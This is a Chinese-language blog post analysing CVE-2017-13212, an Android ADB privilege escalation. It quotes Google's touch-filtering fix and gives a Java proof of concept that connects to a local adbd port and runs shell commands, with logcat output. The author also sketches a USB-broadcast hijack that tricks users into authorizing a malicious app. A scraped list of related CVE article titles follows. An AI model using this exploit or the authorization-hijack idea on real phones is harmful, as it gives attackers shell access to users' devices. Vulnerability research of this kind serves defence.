ADB配置提權漏洞(CVE-2017-13212)原理與利用分析
adb由於擁有shell許可權,因此僅在授權PC端後才可使用shell許可權,而通過該漏洞,可以實現在移動端獲取shell許可權,以致於可隨意刪除應用、螢幕截圖等等高許可權操作。不過移動端惡意應用程式必須能夠連線到adbd正在監聽的TCP埠,這就需要應用程式在它的AndroidMainifest.xml中定義INTERNET許可權。
而漏洞作者所用的攻擊方法是構造一個覆蓋視窗,劫持使用者點選,也就是經典的hijack攻擊。Google也據此修復了此種攻擊方式。
但是,我經過嘗試後發現,除了以上構造hijack攻擊視窗外,還可以劫持USB廣播,然後在使用者進行正常的連線電腦操作時,劫持授權介面,使使用者誤導從而進行授權。也即造成新的劫持授權漏洞方案。
影響:
1.png
0×02 原理分析
為了能利用此adb配置漏洞,首先需要adb connect到adbd正在監聽的埠,然後移動端會發起授權驗證視窗,使用者授權,驗證通過後,可使用adb shell命令執行shell許可權操作。
使用adb命令“adb tcpip port”來啟用adbd以監聽TCP埠
adb tcpip 5555
在啟用了USB除錯,且adbd正處於TCP埠監聽的情況下,惡意應用程式可以利用自帶的adb二進位制檔案連線adbd,或者可以實現adb server協議與adbd通訊。如果adb server尚未被裝置授權,則會觸發認證請求並提示使用者驗證並接受RSA公鑰(引用[2])。但此認證框可被覆蓋(Google已經修復),具體可見參考文章。
分析下diff:
diff --git a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java
index f5447a2..329dd99 100644
--- a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java
+++ b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java
@@ -31,8 +31,12 @@
import android.os.SystemProperties;
import android.util.Log;
import android.view.LayoutInflater;
+import android.view.MotionEvent;
import android.view.View;
+import android.view.Window;
+import android.view.WindowManager;
import android.widget.CheckBox;
+import android.widget.Toast;
import com.android.internal.app.AlertActivity;
import com.android.internal.app.AlertController;
@@ -48,6 +52,10 @@
@Override
public void onCreate(Bundle icicle) {
+ Window window = getWindow();
+ window.addPrivateFlags(WindowManager.LayoutParams.PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS);
+ window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_DIALOG);
+
super.onCreate(icicle);
if (SystemProperties.getInt("service.adb.tcp.port", 0) == 0) {
@@ -79,6 +87,23 @@
ap.mView = checkbox;
setupAlert();
+
+ // adding touch listener on affirmative button - checks if window is obscured
+ // if obscured, do not let user give permissions (could be tapjacking involved)
+ //增加了對偽造視窗的認證判定,防止使用者被誤導授權
+ final View.OnTouchListener filterTouchListener = (View v, MotionEvent event) -> {
+ // Filter obscured touches by consuming them.
+ if (((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0)
+ || ((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED) != 0)) {
+ if (event.getAction() == MotionEvent.ACTION_UP) {
+ Toast.makeText(v.getContext(),
+ R.string.touch_filtered_warning,
+ Toast.LENGTH_SHORT).show();
+ }
+ return true;
+ }
+ return false;
+ };
+ mAlert.getButton(BUTTON_POSITIVE).setOnTouchListener(filterTouchListener);
}
問題:
1. 貌似只是對偽造視窗進行了防禦,可漏洞難道不是因為TCP埠監聽而造成提權嗎?
2. 那也就是使用者授權後,依舊可以在移動端獲取shell許可權?
結論:
確實可以在移動端獲取到shell許可權
思考
那如果假設能監聽使用者是否連線USB,在使用者進行正常的USB連線PC操作時,劫持授權視窗,即彈出我們的授權,也可以造成使用者誤導授權。
結論:
確實可以構造接收廣播,當USB連線到PC時,會優先彈出我們的授權視窗,從而誤導使用者獲得授權
攻擊思路:
靜態註冊監聽USB連線狀態的廣播,優先順序設定為最高
一旦監聽到連線,啟動後臺service,執行連線命令
此時會優先彈出我們的授權視窗,由於授權視窗並沒有說明來自哪裡的彈窗,見下圖對比,僅僅是RSA指紋不同,即使是技術人員,也很難識別是來自哪裡的授權視窗。
PC端授權視窗
pc.png
apk惡意授權視窗
apk.png
0×03 漏洞利用
試驗環境: Android 4.4.4 Nexus 5
PC端執行
adb tcpip 5555
作者攻擊思路驗證Poc:
private void escalatePrivilege() {
/*
如果大於android 6.0
需要使用預編譯的adb可執行二進位制檔案
*/
try {
String[] connectCmd = {"adb","connect","127.0.0.1:5555"};
String[] idCmd = {"adb","shell","id"};
execCommand(connectCmd);
execCommand(idCmd);
} catch (Exception e) {
Log.d(TAG, "escalatePrivilege: " + e.toString() );
}
}
private void readData(InputStream inputStream){
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String data ;
while (true) {
try {
data = reader.readLine();
if(data == null) {
break;
}
Log.d(TAG, "output: " + data);
} catch (IOException e) {
e.printStackTrace();
}
}
}
private Process execCommand(String[] cmds){
ProcessBuilder builder = new ProcessBuilder();
Process execCommandProcess = null;
builder.command(cmds);
builder.directory(this.getFilesDir());
builder.redirectErrorStream(true);
Map<String, String> env = builder.environment();
env.put("HOME", this.getFilesDir().toString());
env.put("TMPDIR", this.getFilesDir().toString());
try {
execCommandProcess = builder.start();
execCommandProcess.waitFor();
readData(execCommandProcess.getInputStream());
}catch (InterruptedException e){
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return execCommandProcess;
}
會彈出USB除錯授權視窗,google已經修復此覆蓋hijack漏洞。
Logcat輸出:
output: connected to 127.0.0.1:5555
output: uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
備註:
可能在實驗的時候,會沒有彈出授權視窗,此時刪除apk,撤銷USB授權後,重啟機器可還原環境。
0×04 思考部分攻擊思路Exp
AndroidManifest.xml 增加USB廣播:
相關推薦
ADB配置提權漏洞(CVE-2017-13212)原理與利用分析
adb由於擁有shell許可權,因此僅在授權PC端後才可使用shell許可權,而通過該漏洞,可以實現在移動端獲取shell許可權,以致於可隨意刪除應用、螢幕截圖等等高許可權操作。不過移動端惡意應用程式必須能夠連線到adbd正在監聽的TCP埠,這就需要應用程式
Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)檢測與利用復現
Weblogic的WLS Security元件對外提供webservice服務,其中使用了XMLDecoder來解析使用者傳入的XML資料,在解析的過程中出現反序列化漏洞,導致可執行任意命令。 漏洞環境搭建 可以參考: https://blog.csdn.net/q
Tomcat曝本地提權漏洞 (CVE-2016-1240 附PoC)
就在各位歡度國慶的時候,Tomcat於10月1日曝出本地提權漏洞CVE-2016-1240。僅需Tomcat使用者低許可權,攻擊者就能利用該漏洞獲取到系統的ROOT許可權。而且該漏洞的利用難度並不大,受影響的使用者需要特別關注。 Tomcat是個執行在Apache上的應用伺
Nginx敏感信息泄露漏洞(CVE-2017-7529)
泄露 內存 構造 一次 .com openss erro 這樣的 技術 2017年7月11日,為了修復整數溢出漏洞(CVE-2017-7529), Nginx官方發布了nginx-1.12.1 stable和nginx-1.13.3 mainline版本,並且提供了官方pa
隱藏17年的Office遠程代碼執行漏洞(CVE-2017-11882)
portal round splay avi uid windows 1.10 分享 ret Preface 這幾天關於Office的一個遠程代碼執行漏洞很流行,昨天也有朋友發了相關信息,於是想復現一下看看,復現過程也比較簡單,主要是簡單記錄下。 利用腳本Git
WebLogic中WLS 組件漏洞(CVE-2017-10271)專項檢測工具
風險 bsp load 服務 app mage www 趨勢 新的 來源: 時間:2017-12-23 00:00:00 作者: 瀏覽:1929 次 近期安恒信息在應急響應過程中發現有惡意攻擊者利用WebLogic漏洞對企業服務器發起大範圍遠程攻擊,攻擊成功後植入挖
Weblogic 小於10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
之前本來複現過一次的,結果後來資料丟了,只好再來一遍。 沒找到在linux下命令列安裝的方法,於是直接在windows上安裝算了。 12.2.1.2.0下載: https://download.oracle.com/otn/nt/middleware/12c/12212/fmw_
GoAhead Web伺服器遠端命令執行漏洞(CVE-2017-17562)漏洞復現
一、漏洞概述: 1、漏洞簡介: GoAhead Web Server,它是一個開源(商業許可)、簡單、輕巧、功能強大、可以在多個平臺執行的嵌入式Web Server。 GoAhead Web Server是跨平臺的伺服器軟體,可以穩定地執行在Windows,Linux和
Nginx越界讀取快取漏洞(CVE-2017-7529)
Nginx在反向代理站點的時候,通常會將一些檔案進行快取,特別是靜態檔案。快取的部分儲存在檔案中,每個快取檔案包括“檔案頭”+“HTTP返回包頭”+“HTTP返回包體”。如果二次請求命中了該快取檔案,則Nginx會直接將該檔案中的“HTTP返回包體”返回給使用者。如果我的請求中包
JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
Red Hat JBoss Application Server 是一款基於JavaEE的開源應用伺服器。JBoss AS 4.x及之前版本中,JbossMQ實現過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java檔
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
該漏洞為 Java反序列化錯誤型別,存在於 Jboss 的 HttpInvoker 元件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的資料流進行反序列化,從而導致了漏洞。 環境 JBoss 5.x/
WebLogic反序列化漏洞(CVE-2017-3248)
使用Java 7和Java 8均可成功復現。 漏洞復現 先啟動weblogic(終端#1) ➜ base_domain ./startWebLogic.sh 在某埠監聽(接收反彈shell) ➜ ysoserial nc -klv 7777 Listeni
Ubuntu本地提權(CVE-2017-16995)復現
面向新手,大佬勿噴 漏洞概述 2018-03-16有網友釋出訊息:ubuntu 最新版本(Ubuntu 16.04)存在高危的本地提權漏洞,漏洞編號為CVE-2017-16995。該漏洞存在於呼叫eBPF bpf(2)的Linux核心系統中,當用戶提供惡意BPF程式使eBPF驗證器模組產生計算錯誤,導致任
LNK文件(快捷方式)遠程代碼執行漏洞復現過程(CVE-2017-8464)
abi cred starting compute appear pda info 等級 server 漏洞編號:CVE-2017-8464 漏洞等級:嚴重 漏洞概要:如果用戶打開攻擊者精心構造的惡意LNK文件,則會造成遠程代碼執行。成功利用此漏洞的攻擊者可以獲得與本地
Microsoft Edge 瀏覽器遠程代碼執行漏洞POC及細節(CVE-2017-8641)
ive buffer png serer virt pil binding nproc mil 2017年8月8日,CVE官網公布了CVE-2017-8641,在其網上的描述為: 意思是說,黑客可以通過在網頁中嵌入惡意構造的javascript代碼,使得微軟的瀏覽器(如E
Samba遠程代碼執行漏洞(CVE-2017-7494) 復現
51cto ucc 協議 samba配置文件 finished arc tin epo type 漏洞背景:Samba是在Linux和UNIX系統上實現SMB協議的一個軟件,2017年5月24日Samba發布了4.6.4版本,中間修復了一個嚴重的遠程代碼執行漏洞,漏洞編號C
Android adb setuid提權漏洞的分析
去年的Android adb setuid提權漏洞被用於各類root刷機,漏洞發現人Sebastian Krahmer公佈的利用工具RageAgainstTheCage(rageagainstthecage-arm5.bin)被用於z4root等提權工具、Trojan.Android.Rootcager等惡
臟牛Linux本地提權漏洞復現(CVE-2016-5195)
cin 實現 ubun pass 進入 函數 dirty 賬號密碼 swd 學習該漏洞的原因: 總是看到圈子裏一位老哥發文章使用這個漏洞來提權,進過測試發現centos比較難提取,而Ubuntu是比較好提權的。 漏洞範圍: Linux kernel >= 2.6.22
PHPMailer < 5.2.18 遠程代碼執行漏洞(CVE-2016-10033)
com ifconf github cnblogs grep main src avi https PHPMailer < 5.2.18 Remote Code Execution 本文將簡單展示一下PHPMailer遠程代碼執行漏洞(CVE-2016-100
WebLogic 任意文件上傳 遠程代碼執行漏洞 (CVE-2018-2894)------->>>任意文件上傳檢測POC
htm input ade print out vcg exc ops 上傳 前言: Oracle官方發布了7月份的關鍵補丁更新CPU(Critical Patch Update),其中針對可造成遠程代碼執行的高危漏洞 CVE-2018-2894 進行修復: http: